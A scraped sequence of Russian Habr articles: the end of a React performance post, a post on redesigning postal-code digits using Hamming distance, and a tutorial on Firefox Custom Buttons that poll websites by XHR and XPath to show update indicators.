Вот как это выглядит. Таковы некоторые из самых важных библиотек, которые вы можете использовать для обеспечения максимальной производительности вашего приложения React.
Оставляйте комментарии, если у вас на примете есть другие. Хорошего дня!
**Ресурсы**
1. [Веб-сайт React Query](https://react-query.tanstack.com/)
2. [Веб-сайт React Hook Form](https://react-hook-form.com/)
3. [Примеры React Window](https://react-window.vercel.app/#/examples/list/fixed-size)
4. [Пакет Why Did You Render](https://www.npmjs.com/package/@welldone-software/why-did-you-render)
5. [Пакет React Lazy Load](https://www.npmjs.com/package/react-lazyload)
6. [Reselect Репозиторий](https://github.com/reduxjs/reselect)
7. [Пакет Deep Equal](https://www.npmjs.com/package/deep-equal)
---
> Узнать подробнее о курсе ["**React.js Developer**"](https://otus.pw/92S9/)
>
> Смотреть открытый онлайн-урок [**"Webpack и babel"**](https://otus.pw/BA9x/)
>
> | https://habr.com/ru/post/559672/ | null | ru | null |
# Помогаем роботу-сортировщику на почте
#### Короткая предыстория
Беседовал я некоторое время назад со знакомым роботом. Устроился он временно на Почту России сортировщиком писем. Работёнка не пыльная, смотрит индекс на письме и помещает их в нужное отверстие. Но есть проблема с письмами, у которых в индексе сделана опечатка. На выяснение правильного индекса уходит много времени и пиво успевает выдыхаться.
#### Заноза в голове
После того разговора прошло уже достаточно времени, но дилемма почтовых индексов не выходила у меня из головы.
Казалось бы — что еще тут можно улучшить? Попробуем преобразить вид цифр индекса таким образом, чтобы даже если одна ошибка попадётся, ее можно было автоматически выявить и исправить.
Оказывается улучшить можно.
Попробуем нарисовать новый вид цифры **0**.
Если интересно, зачем и почему — прошу под кат.
Еще в университете, на лекции по дискретной математике, я обратил внимание, что [расстояние Хемминга](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5_%D0%A5%D0%B5%D0%BC%D0%BC%D0%B8%D0%BD%D0%B3%D0%B0) между некоторыми написанными цифрами слишком мало, то есть они отличаются всего «одной палочкой». Далеко за примером ходить не будем, это **0** и **8**. Достаточно «переставить» одну палочку, и одна цифра превращается в другую.
#### Дальнейшее исследование
А есть ли еще проблемы с похожими цифрами? Ведь именно для данного случая, чем больше расстояние между цифрами — тем проще роботу исправить ошибку. Ограничимся одной ошибкой в цифре. К примеру:
Видно, что не хватает одной палочки, однако, алгоритмически можно определить, что это была за ошибка и исправить ее.
Обозначим каждую палку скелета цифры — цифрой (да, такой вот каламбур):
Назначим каждой цифре свой вектор:
```
postindex[0]=[1,1,1,1,1,1,0,0,0];
postindex[1]=[0,0,0,0,1,1,1,0,0];
postindex[2]=[1,0,0,1,0,1,0,0,1];
postindex[3]=[1,0,0,0,0,0,1,1,1];
postindex[4]=[0,1,0,0,1,1,0,1,0];
postindex[5]=[1,1,0,1,1,0,0,1,0];
postindex[6]=[0,0,1,1,1,0,1,1,0];
postindex[7]=[1,0,1,0,0,0,1,0,0];
postindex[8]=[1,1,1,1,1,1,0,1,0];
postindex[9]=[1,1,0,0,0,1,0,1,1];
```
Теперь рассчитаем расстояние Хемминга между цифрами:
```
0 1 2 3 4 5 6 7 8 9
'0': [ 0, 5, 4, 8, 4, 3, 5, 5, 1, 5 ]
'1': [ 5, 0, 5, 5, 3, 6, 4, 4, 6, 6 ]
'2': [ 4, 5, 0, 4, 6, 5, 7, 5, 5, 3 ]
'3': [ 8, 5, 4, 0, 6, 5, 5, 3, 7, 3 ]
'4': [ 4, 3, 6, 6, 0, 3, 5, 7, 3, 3 ]
'5': [ 3, 6, 5, 5, 3, 0, 4, 6, 2, 4 ]
'6': [ 5, 4, 7, 5, 5, 4, 0, 4, 4, 8 ]
'7': [ 5, 4, 5, 3, 7, 6, 4, 0, 6, 6 ]
'8': [ 1, 6, 5, 7, 3, 2, 4, 6, 0, 4 ]
'9': [ 5, 6, 3, 3, 3, 4, 8, 6, 4, 0 ]
```
**Код для неверующих**
```
var postindex = {};
postindex[0]=[1,1,1,1,1,1,0,0,0];
postindex[1]=[0,0,0,0,1,1,1,0,0];
postindex[2]=[1,0,0,1,0,1,0,0,1];
postindex[3]=[1,0,0,0,0,0,1,1,1];
postindex[4]=[0,1,0,0,1,1,0,1,0];
postindex[5]=[1,1,0,1,1,0,0,1,0];
postindex[6]=[0,0,1,1,1,0,1,1,0];
postindex[7]=[1,0,1,0,0,0,1,0,0];
postindex[8]=[1,1,1,1,1,1,0,1,0];
postindex[9]=[1,1,0,0,0,1,0,1,1];
function Hamming_distance(a, b) {
var sum = 0;
for (var i = 0; i < a.length; i++) {
sum += Math.abs(a[i]-b[i]);
}
return sum;
}
console.log(postindex);
var hd = {};
for (var i = 0; i < 10; i++) {
var arr = [];
for (var j = 0; j < 10; j++) {
arr[j] = Hamming_distance(postindex[i],postindex[j]);
hd[i] = arr;
}
}
console.log('');
console.log(hd);
```
Видно что проблема между **0** и **8** самая большая (расстояние всего 1 единица), еще есть проблема между **5** и **8**, там расстояние 2, что тоже не очень хорошо, особенно для вот такой опечатки:
Эта неправильной формы девятка, изменением всего одной палочки, может превратиться и в **8** и в **5**. (То, что цифра похожа еще на 9 — не рассматриваем, потому что там 2 ошибки нужны)
#### Что можно сделать?
Попробуем для начала изменить цифру **0**.
Слишком похоже на **9**. Будет такая же проблема как у **5** и **8**.
Еще вариант:
Аналогично с **6**.
Наклоняем ноль:
Вроде бы то, что нужно. Проверяем:
```
0 1 2 3 4 5 6 7 8 9
'0': [ 0, 3, 4, 4, 6, 9, 5, 3, 7, 5 ]
'1': [ 3, 0, 5, 5, 3, 6, 4, 4, 6, 6 ]
'2': [ 4, 5, 0, 4, 6, 5, 7, 5, 5, 3 ]
'3': [ 4, 5, 4, 0, 6, 5, 5, 3, 7, 3 ]
'4': [ 6, 3, 6, 6, 0, 3, 5, 7, 3, 3 ]
'5': [ 9, 6, 5, 5, 3, 0, 4, 6, 2, 4 ]
'6': [ 5, 4, 7, 5, 5, 4, 0, 4, 4, 8 ]
'7': [ 3, 4, 5, 3, 7, 6, 4, 0, 6, 6 ]
'8': [ 7, 6, 5, 7, 3, 2, 4, 6, 0, 4 ]
'9': [ 5, 6, 3, 3, 3, 4, 8, 6, 4, 0 ]
```
Всё очень даже неплохо! С одной из цифр разобрались.
#### Боремся до конца
Теперь нужно что-нибудь придумать для **5** и **8**. Скажем НЕТ расстоянию Хэмминга меньше трёх. Рисуем пятёрки разной степени уродства.
Для второго варианта минимальное расстояние Хемминга для всех цифр больше двух, но это уродство сложно назвать пятеркой. Думаем над другими вариантами.
Может, стоит в качестве восьмёрки использовать полностью закрашенный вариант?
Тестируем:
```
0 1 2 3 4 5 6 7 8 9
'0': [ 0, 3, 4, 4, 6, 9, 5, 3, 5, 5 ]
'1': [ 3, 0, 5, 5, 3, 6, 4, 4, 6, 6 ]
'2': [ 4, 5, 0, 4, 6, 5, 7, 5, 5, 3 ]
'3': [ 4, 5, 4, 0, 6, 5, 5, 3, 5, 3 ]
'4': [ 6, 3, 6, 6, 0, 3, 5, 7, 5, 3 ]
'5': [ 9, 6, 5, 5, 3, 0, 4, 6, 4, 4 ]
'6': [ 5, 4, 7, 5, 5, 4, 0, 4, 4, 8 ]
'7': [ 3, 4, 5, 3, 7, 6, 4, 0, 6, 6 ]
'8': [ 5, 6, 5, 5, 5, 4, 4, 6, 0, 4 ]
'9': [ 5, 6, 3, 3, 3, 4, 8, 6, 4, 0 ]
```
Ура! Нет ни одной двойки в матрице~~, Нео~~!
#### Итоговый вариант
В данной схеме цифр, одну любую допущенную ошибку можно будет автоматически исправить.
#### Эпилог
Результат моих измышлений знакомого робота удовлетворил, но он высказал опасения, что все прям сразу привыкнуть к такому варианту не смогут. Но я уверил его, что это изменение нужно для пользы россиян. Письма станут доходить быстрее и ошибок станет меньше. А если всё же не придётся по душе людям данный вариант написания цифр индекса, то вернем старую схему. В общем, выигрываем в любом случае.
UPD:
Хабраюзер [jaguard](http://habrahabr.ru/users/jaguard/) предложил более [изящное решение](http://habrahabr.ru/post/208444/#comment_7177662) проблемы. | https://habr.com/ru/post/208444/ | null | ru | null |
# Индикаторы ключевой информации на сайтах для Firefox на скорую руку
У многих из нас есть на примете набор сайтов, которые мы периодически открываем не для внимательного чтения, а чтобы бегло ознакомиться с каким-то небольшим участком информации, посмотреть, нет ли новых статей или комментариев, проверить, не сменился ли какой-нибудь параметр и так далее. Сайты часто предоставляют для таких нужд rss или почтовую рассылку, но так бывает далеко не всегда. Попробую описать один из способов автоматизации подобной рутины.
Большинство пользователей Firefox наверняка знакомы с расширениями, сигнализирующими об обновлениях на популярных сетевых ресурсах (почте, новостном агрегаторе, социальной сети, сайте погоды и так далее). Но на все сайты и на все типы информации расширений не напасёшься. К счастью, если вы немного знакомы с JavaScript, некоторое упрощённое и гибкое подобие таких расширений можно создавать в считанные минуты при помощи расширения-посредника: [Custom Buttons](https://addons.mozilla.org/ru/firefox/addon/custom-buttons/). Оно позволяет быстро создавать кнопки для панелей инструментов, которые выполняют при нажатии произвольный код или могут инициализировать определённое поведение с запуском браузера. Причём код они могут выполнять как в контексте страницы (чем напоминают пользовательские скрипты), так и контексте браузера (чем уподобляются полноценным расширениям).
В цели данной статьи не входит объяснение работы с Custom Buttons: по ссылке можно найти достаточно ссылок на документацию и форумы. Впрочем, всё устроено довольно просто: через контекстное меню панели инструментов создаётся кнопка, в диалоге новой кнопки вводится код, выбираются некоторые дополнительные плюшки, потом кнопка перетаскивается на любую удобную панель инструментов — и вот она уже готова к работе (кстати, расширение вводит дополнительный протокол custombutton:// — он позволяет с лёгкостью публиковать кнопки в сети и делится ими тем же способом, как мы используем обычные ссылки или букмарклеты).
Я же попробую поделиться некоторыми рецептами кода, посвящёнными упомянутым индикаторам. Будем двигаться от простого к более сложному. Код примеров должен работать в Firefox, начиная с 12-й версии. Осознаю, что иные элементы кода могут показаться разным людям по-разному дурацкими, но примеры и не претендуют на безупречность: я только делюсь бытовым опытом при помощи любительского кода и искренне прошу прощения, что не могу этого сделать лучше.
#### 1. Простой запрос информации.
Бывает, что нам нужна из всего сайта только небольшая часть данных. И чтобы получить эту ключевую информацию, совсем не обязательно загружать всю страницу с тяжеловесным дополнительным содержимым (реклама, картинки, флэш и т. д.) и ресурсоёмкими скриптами, а потом ещё искать на странице нужный участок. Можно получить чистый легковесный html через Ajax (при этом ничего не подгружается и не исполняется), преобразовать его в DOM, автоматически найти интересующий нас участок и выдать только нужную информацию.
Для примера возьмём не слишком заманчивый, но простой и яркий случай. Затребуем текущее количество статей в английской Википедии (которое сейчас приближается к четырём миллионам). Для этого в самую первую вкладку диалога для создания кнопки вставим следующий код (вкладка так и называется — «Код»):
```
var pageURL = "http://en.wikipedia.org/wiki/Main_Page";
var keyElementXPath = "/html/body//div[@id='articlecount']";
var imgThrobber = "data:image/gif;base64,R0lGODlhEAAQAOMIAAAAABoaGjMzM0xMTGZmZoCAgJmZmbKysv///////////////////////////////yH/C05FVFNDQVBFMi4wAwEAAAAh+QQBCgAIACwAAAAAEAAQAAAESBDJiQCgmFqbZwjVhhwH9n3hSJbeSa1sm5GUIHSTYSC2jeu63q0D3PlwCB1lMMgUChgmk/J8LqUIAgFRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+UKgmFqbpxDV9gAA9n3hSJbeSa1sm5HUMHTTcTy2jeu63q0D3PlwDx2FQMgYDBgmk/J8LqWPQuFRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+YSgmFqb5xjV9gQB9n3hSJbeSa1sm5EUQXQTADy2jeu63q0D3PlwDx2lUMgcDhgmk/J8LqUPg+FRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+cagmFqbJyHV9ggC9n3hSJbeSa1sm5FUUXRTEDy2jeu63q0D3PlwDx3FYMgAABgmk/J8LqWPw+FRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+QihmFqbZynV9gwD9n3hSJbeSa1sm5GUYXSTIDy2jeu63q0D3PlwDx3lcMgEAhgmk/J8LqUPAOBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+UqhmFqbpzHV9hAE9n3hSJbeSa1sm5HUcXTTMDy2jeu63q0D3PlwDx0FAMgIBBgmk/J8LqWPQOBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+YyhmFqb5znV9hQF9n3hSJbeSa1sm5EUAHQTQTy2jeu63q0D3PlwDx0lEMgMBhgmk/J8LqUPgeBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+c6hmFqbJwDV9hgG9n3hSJbeSa1sm5FUEHRTUTy2jeu63q0D3PlwDx1FIMgQCBgmk/J8LqWPweBRhV6z2q0VF94iJ9pOBAA7";
var imgMain = "data:image/x-icon;base64,AAABAAEAEBAQAAEABAAoAQAAFgAAACgAAAAQAAAAIAAAAAEABAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAEAgQAhIOEAMjHyABIR0gA6ejpAGlqaQCpqKkAKCgoAPz9/AAZGBkAmJiYANjZ2ABXWFcAent6ALm6uQA8OjwAiIiIiIiIiIiIiI4oiL6IiIiIgzuIV4iIiIhndo53KIiIiB/WvXoYiIiIfEZfWBSIiIEGi/foqoiIgzuL84i9iIjpGIoMiEHoiMkos3FojmiLlUipYliEWIF+iDe0GoRa7D6GPbjcu1yIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
var btn = this;
function getDoc(pageURL, pureXHR) {
btn.image = imgThrobber;
var xhr = new XMLHttpRequest();
xhr.mozBackgroundRequest = true;
xhr.open("GET", pageURL, true);
xhr.timeout = 3000;
xhr.channel.loadFlags |= Components.interfaces.nsIRequest.LOAD_BYPASS_CACHE;
xhr.channel.QueryInterface(Components.interfaces.nsIHttpChannelInternal)
.forceAllowThirdPartyCookie = true;
if (pureXHR) {
xhr.responseType = "document";
xhr.onload = function() {
btn.image = imgMain;
processDoc(this.responseXML);
}
xhr.ontimeout = function() {
getDoc(pageURL, false);
}
}
else {
xhr.onload = function() {
btn.image = imgMain;
processDoc((new DOMParser()).parseFromString(this.responseText, "text/html"));
}
xhr.ontimeout = function() {
btn.image = imgMain;
alert("Timeout");
}
}
xhr.onerror = function() {
btn.image = imgMain;
alert("HTTP error");
}
xhr.send(null);
}
function processDoc(doc) {
var keyElement = doc.evaluate(keyElementXPath, doc, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
if (keyElement) {
alert(keyElement.textContent);
}
else {
alert("Parsing error");
}
}
getDoc(pageURL, true);
```
В будущем для другого сайта и другой информации нам нужно будет изменить всего несколько строк. Попробуем разобраться, что делает код.
Код кнопок исполняется через new Function(), поэтому нет необходимости как-то защищаться от вмешательства в пространство имён браузера.
Самыми первыми в функции идут как раз те переменные, которые потребуется переназначать для других условий. Первой мы задаём адрес страницы, второй — XPath ключевого элемента, содержащего нужную информацию. Дальше мы задаём две встраиваемые картинки: первая — пульсатор, появляющийся на кнопке во время запроса (его переназначать не нужно), вторая — иконка сайта, появляющаяся на кнопке в конце запроса (эту же иконку можно назначить иконкой кнопки по умолчанию в диалоге создания).
XPath ключевого элемента очень легко установить при помощи расширения
[XPather](https://addons.mozilla.org/ru/firefox/addon/xpather/): он не только встраивается в известный DOM Inspector, но и добавляет свою позицию в контекстное меню, позволяющую любой элемент на странице открыть в окошке этого расширения и получить его XPath. Расширение выдаёт полный адрес со всеми звеньями и порой его можно сократить, опираясь, например, на id элементов. В нашем примере мы как раз сократили адрес (конечно, когда у ключевого элемента есть id, можно и не использовать XPath, но тут мы исходим из универсальности кода и применяем способ, годный для всех случаев).
Формируя XPath, нужно помнить, что XHR не исполняет скрипты загружаемой страницы. Поэтому в процессе создания кода анализировать нужно страницу с отключённым JavaScript или же первичный html. Бывает так, что ключевой элемент формируется скриптом: тогда наш способ не годится и нужно применять более сложный подход со скрытыми фоновыми браузерами, чего мы в этой статье касаться не будем. Впрочем, такие случаи не так уж часты.
Окошко создания кнопки имеет удобный инструмент создания data:-адресов для встраивания ресурсов, можно легко преобразовывать адреса иконок сайтов в base64 строки. Конечно, ничто не мешает указать URL, просто таким образом мы создаём полностью автономный код и уменьшаем сетевые и локальные запросы.
Далее мы назначаем на будущее переменную для кнопки, которая сначала представлена как this. И переходим к двум подфункциям: одна из них будет получать код документа, вторая разбирать его и выдавать нужную информацию.
В начале первой подфункции мы запускаем пульсатор, затем создаём XHR с его параметрами: устанавливаем флаг фонового запроса (чтобы браузер в случае чего не беспокоил нас сообщениями, рассчитанными на обычную загрузку страниц), границы таймаутов и флаг обхода кэша на всякий случай. Чтобы заставить Firefox отсылать куки с XHR даже тогда, когда пользователь запретил куки со сторонних сайтов, устанавливаем флаг принудительной отсылки (без этого куки не принимаются и не отсылаются).
Надеясь на лучшее, мы используем xhr.responseType = «document», чтобы сразу получать доступ к DOM. Однако при таком подходе можно напороться на ошибку, вызываемую нечастым стечением условий и приводящую к псевдотаймаутам ([см. обсуждение со ссылками на багзиллу](http://habrahabr.ru/post/145953/)). Поэтому мы вставляем страховочный код: при первом таймауте мы пробуем запросить код страницы повторно и разобрать его при помощи DOMParser — это немного сложнее и расточительнее (~~DOMParser почему-то вызывает загрузку некоторых добавочных ресурсов, хотя по идее должен только разбирать код~~ — пофиксили пока для ночных сборок, но войдёт ли этот фикс в 14-й релиз, я не знаю), зато надёжнее до тех пор, пока ошибку с xhr.responseType = «document» не исправят (возможно, к 16-му релизу).
В итоге мы имеем несколько исходов запроса: первый успешный вызов (с аргументом pureXHR == true) с непосредственным получением DOM ведёт к вызову функции разбора документа, первый таймаут ведёт к рекурсивному повторному запросу чистого кода (с аргументом pureXHR == false) с последующим преобразованием в DOM и опять-таки вызовом функции разбора документа, второй таймаут или ошибка связи ведут к соответствующим сообщениям о неудаче.
Подфункция разбора документа довольно проста. Сначала мы пытаемся получить ключевой элемент. Если элемент найден, мы выдаём нужную информацию. Если элемента нет, мы подозреваем, что сайт отдал какую-то не такую страницу и сообщаем об ошибке. Причины могут быть разные: редирект (при этом XHR получает пустой документ), слетела авторизация и сайт выдал другую страницу для неавторизованных пользователей, разработчики сменили структуру DOM — или что-нибудь ещё. Тогда нужно загрузить страницу в браузере, проверить причину сбоя (в том числе при помощи расширений, исследующих HTTP-активность) и внести нужные корректировки.
Таков простой способ экономного запроса информации на 50 строк кода с мелочью. Теперь попробуем немного обогатить инструмент.
#### 2. Индикаторы новостей с проверками по таймеру.
Хотелось бы, чтобы кнопка сама через промежутки времени запрашивала информацию и отображала её статус: есть новости — нет новостей — ошибка. Применять такую кнопку можно, например, к форумам, которые не предоставляют почтовых оповещений о новых темах, комментариях, личных сообщениях и тому подобных событиях. Однако добавляют на страницы ясные знаки, что подобные новости появились (это может быть особый элемент или смена атрибутов элемента).
Как пример возьмьём личные сообщения на сайте rutracker.org. Расширение будет проверять страницу личных сообщений (можно и любую другую, нас будет интересовать общая для большинства страниц шапка; просто страница личных сообщений может быть наиболее экономным вариантом), искать нужный элемент, проверять его свойства и сообщать о статусе сменой иконки на кнопке и вдобавок всплывающей подсказкой (можно добавлять звуковое оповещение или всплывающее окошко над треем, но в этой статье мы о таких сложностях говорить не будем).
В этом примере мы немного сменим принцип действия: нам понадобится не первая, а вторая вкладка диалога создания кнопки. Код в этой вкладке исполняется не при нажатии на кнопку, а сразу после запуска браузера. Это даёт нам возможность назначить нужные переменные и функции на всё время запросов по таймеру, а также задать обработчики разных нажатий на кнопку для большей гибкости и удобства. Далее мы будем разбирать только изменения в коде сравнительно с первым вариантом.
```
var pageURL = "http://pm.rutracker.org/forum/privmsg.php?folder=inbox";
var keyElementXPath = "/html/body/div[@id='body_container']/div[@id='page_container']/div[@id='page_header']/div[@id='main-nav']/table/tbody/tr/td[2]/a";
var delay = 10 * 1000;
var interval = 60 * 60000;
var imgThrobber = "data:image/gif;base64,R0lGODlhEAAQAOMIAAAAABoaGjMzM0xMTGZmZoCAgJmZmbKysv///////////////////////////////yH/C05FVFNDQVBFMi4wAwEAAAAh+QQBCgAIACwAAAAAEAAQAAAESBDJiQCgmFqbZwjVhhwH9n3hSJbeSa1sm5GUIHSTYSC2jeu63q0D3PlwCB1lMMgUChgmk/J8LqUIAgFRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+UKgmFqbpxDV9gAA9n3hSJbeSa1sm5HUMHTTcTy2jeu63q0D3PlwDx2FQMgYDBgmk/J8LqWPQuFRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+YSgmFqb5xjV9gQB9n3hSJbeSa1sm5EUQXQTADy2jeu63q0D3PlwDx2lUMgcDhgmk/J8LqUPg+FRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+cagmFqbJyHV9ggC9n3hSJbeSa1sm5FUUXRTEDy2jeu63q0D3PlwDx3FYMgAABgmk/J8LqWPw+FRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+QihmFqbZynV9gwD9n3hSJbeSa1sm5GUYXSTIDy2jeu63q0D3PlwDx3lcMgEAhgmk/J8LqUPAOBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+UqhmFqbpzHV9hAE9n3hSJbeSa1sm5HUcXTTMDy2jeu63q0D3PlwDx0FAMgIBBgmk/J8LqWPQOBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+YyhmFqb5znV9hQF9n3hSJbeSa1sm5EUAHQTQTy2jeu63q0D3PlwDx0lEMgMBhgmk/J8LqUPgeBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+c6hmFqbJwDV9hgG9n3hSJbeSa1sm5FUEHRTUTy2jeu63q0D3PlwDx1FIMgQCBgmk/J8LqWPweBRhV6z2q0VF94iJ9pOBAA7";
var imgNews = "data:image/gif;base64,R0lGODlhEAAQAOZAAPv/++Xh5THeANvf293Z3dXR1f4AOuvv66Ono6WhpZ2Zne3p7Zj/cwAQ+G1pbc3JzZOXk/Xx9TriACAs7zs/O9PX03t/e/P38/8HPP+rvk1JTY2JjbWxtVNXU/+XriAkUNnb/wES//8zWVn/GwkV/wAMoGNnY/8LRf8TSUtPS/9/nkf/C/8fUn7/S0RQ44T/X/+LpsvPy3T/QwAIYIWBhZGY//9HcQAM4DE9/xkq/3VxdQAOuKuvq6Gk/9r/w1Fd/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAEAALAAAAAAQABAAAAezgECCg4IVC4SIgwcAAEABB4mEFTA2jAADAYkDBxcsBgYYABYEiAEADyKfBhkaCpErBxAYBigqEIQEDC8yAgAIJxkAHgMchAACAhICLQAKFCYFCAOCpsoCDAAOMzsTLgUJggMAIwy9FB8lNw0934ILEQg8PtkTDQ0hAB0Pgt8KEDQRNAwgkeNHjQAFBB0gEIAAAiAbAuAAYalYIgIEClxI4UCHhUiDYmxIwDDAIZABHkxDFAgAOw==";
var imgNoNews = "data:image/gif;base64,R0lGODlhEAAQANU1AP39/erq6pOTk5+fn+Xl5eTk5N7e3vHx8bu7u7q6ut/f36KiotjY2LS0tPDw8JycnK+vr5CQkKioqMrKym1tbfb29pSUlJ2dnaOjo3d3d6Wlpff398bGxoSEhH9/f+jo6KmpqbKystPT05aWlmlpab29vaurq8/Pz7i4uKamprGxsYuLi66urnt7e9bW1sPDw8HBwXl5ednZ2WNjY9zc3P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAADUALAAAAAAQABAAAAajwJpwKFQ4iMjhAQCoBQ5JokKUYAIIgSThsDENBgvApYAMABih70CRaUQxB8hikDpBiIXJCyUAIDAKZwQcRAACAhYCCAANFCsGCARCZokCEwARMx0aLAYJQgQAIBN9FCQtAg80nkIOFQgwH5gaDw8DAB4MQp4NchUZBAsSJS4BBkIHBQEFCDUSASpLTIRJBQUGGzERIxdRQzISCcoBR94BDJJIQQA7";
var imgErrorOrTimeout = "data:image/gif;base64,R0lGODlhEAAQANU6AP98fP+AgP/m5v/ExP+2tv+cnP9ycv/k5P8rK/88PP8CAv9AQP/v75MAAP9HR//y8v8uLv8QELUAAP+Tk/9OTnQAAP89Pf+xsf81Nf+trf/V1f9sbP9YWP9RUf+Li/96ev+Ojv/l5f9ubsAAAP9lZf+EhNwAAPMAAP+5uf+lpbkAAP8WFv+9vf9KSv8NDc0AAIYAAP9UVP8yMv/Bwf/Q0P8MDP/Y2P/9/f9mZv/MzP///wAAAAAAAAAAAAAAAAAAACH5BAEAADoALAAAAAAQABAAAAajQJ1wKBwciMih4HbT2QRJ4iADYN5otiRN8ODIZIkbJIe03Qiir2wgMUQXAlxC1krhiLkC6FO7BRYDZzQTRDc1NRE1ATcGDSczATRCZok1BTcKFSYOJDMAQjQ3MQV9DTAjLggsnkIHDAEeGpgOCAgYNy8EQp4GcgwSNBYdJRc2M0ICOTY5AToUNhshVoRJOTkzDyoKKxBRQygUAMo2R942BJJIQQA7";
var btn = this;
var parser = new DOMParser();
function clickBtn(event) {
if (event.button == 0) {
event.preventDefault();
window.clearInterval(checker);
checker = window.setInterval(getDoc, interval, pageURL, true);
getDoc(pageURL, true);
}
else if (event.button == 1) {
event.preventDefault();
window.clearInterval(checker);
checker = window.setInterval(getDoc, interval, pageURL, true);
btn.image = imgNoNews;
btn.tooltipText = ((new Date()).toLocaleString() + " No news");
if (gBrowser.selectedBrowser.currentURI.spec == "about:blank" && !gBrowser.selectedBrowser.webProgress.isLoadingDocument) {
gBrowser.selectedBrowser.loadURI(pageURL);
}
else {
gBrowser.selectedTab = gBrowser.addTab(pageURL);
}
}
}
function getDoc(pageURL, pureXHR) {
btn.image = imgThrobber;
var xhr = new XMLHttpRequest();
xhr.mozBackgroundRequest = true;
xhr.open("GET", pageURL, true);
xhr.timeout = 3000;
xhr.channel.loadFlags |= Components.interfaces.nsIRequest.LOAD_BYPASS_CACHE;
xhr.channel.QueryInterface(Components.interfaces.nsIHttpChannelInternal)
.forceAllowThirdPartyCookie = true;
if (pureXHR) {
xhr.responseType = "document";
xhr.onload = function() {
processDoc(this.responseXML);
}
xhr.ontimeout = function() {
getDoc(pageURL, false);
}
}
else {
xhr.onload = function() {
processDoc(parser.parseFromString(this.responseText, "text/html"));
}
xhr.ontimeout = function() {
btn.image = imgErrorOrTimeout;
btn.tooltipText = ((new Date()).toLocaleString() + " Timeout");
}
}
xhr.onerror = function() {
btn.image = imgErrorOrTimeout;
btn.tooltipText = ((new Date()).toLocaleString() + " HTTP error");
}
xhr.send(null);
}
function processDoc(doc) {
var keyElement = doc.evaluate(keyElementXPath, doc, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
if (keyElement) {
if (keyElement.className.indexOf("new-pm-link") > -1) {
btn.image = imgNews;
btn.tooltipText = ((new Date()).toLocaleString() + " News");
}
else {
btn.image = imgNoNews;
btn.tooltipText = ((new Date()).toLocaleString() + " No news");
}
}
else {
btn.image = imgErrorOrTimeout;
btn.tooltipText = ((new Date()).toLocaleString() + " Authentication or parsing error");
}
}
btn.addEventListener("click", clickBtn, true);
btn.onDestroy = function() {
btn.removeEventListener("click", clickBtn, true);
}
window.setTimeout(getDoc, delay, pageURL, true);
var checker = window.setInterval(getDoc, interval, pageURL, true);
```
К паре начальных параметров добавилось ещё два: delay (количество секунд между запуском браузера и первым запросом по таймеру) и interval (интервалы между дальнейшими запросами в минутах). В нашем примере это десять секунд и час соответственно.
Теперь у нас не две, а целых четыре иконки: показатель совершающегося запроса, показатели наличия новостей и отсутствия отсутствия, а также иконка для обошибок.
Мы также создаём специальную переменную для страховочного объекта DOMParser, чтобы не пересоздавать его заново при каждом запросе.
Потом мы добавляем обработчик нажатий на кнопку мышью. Нам достаточно будет нажатий левой и средней кнопкой мыши. При первом нажатии мы будем инициировать внеочередной запрос (при этом таймер будет перезапускаться), при нажатии средней кнопкой мы будем открывать нужную страницу в браузере, чтобы детальнее ознакомиться с новостями. Обработчик средней кнопки будет проверять текущую вкладку и, если она пуста и при этом в неё ничего не начало загружаться, будет открывать страницу в ней, в противном случае — в новой вкладке. Также при таком открытии мы будем перезапускать таймер и сбрасывать показатель новостей до следующего запроса, подразумевая, что открытие страницы равно внеочередному запросу и всё равно приведёт к прочтению (то есть сбросу) новостей на сайте.
Обработчики результатов XHR в этом примере выдают не alert-ы, а изменения иконок и всплывающих подсказок (в последние входит время запроса и краткая информация о результате).
При наличии новых сообщений сервер добавляет к ключевому элементу (ссылке на ящик входящих в правом верхнем углу страницы) атрибут определённого класса. Его мы и будем проверять. Если авторизация на сайте слетает, сервер выдаёт редирект на страницу входа: в таком случае XHR получает пустой документ, элемент не находится и мы получаем ошибку, общую и для других случаев изменений в DOM.
После определения переменных и функций, мы привязываем обработчик нажатий к кнопке, вызываем первый отложенный запрос и запускаем таймер.
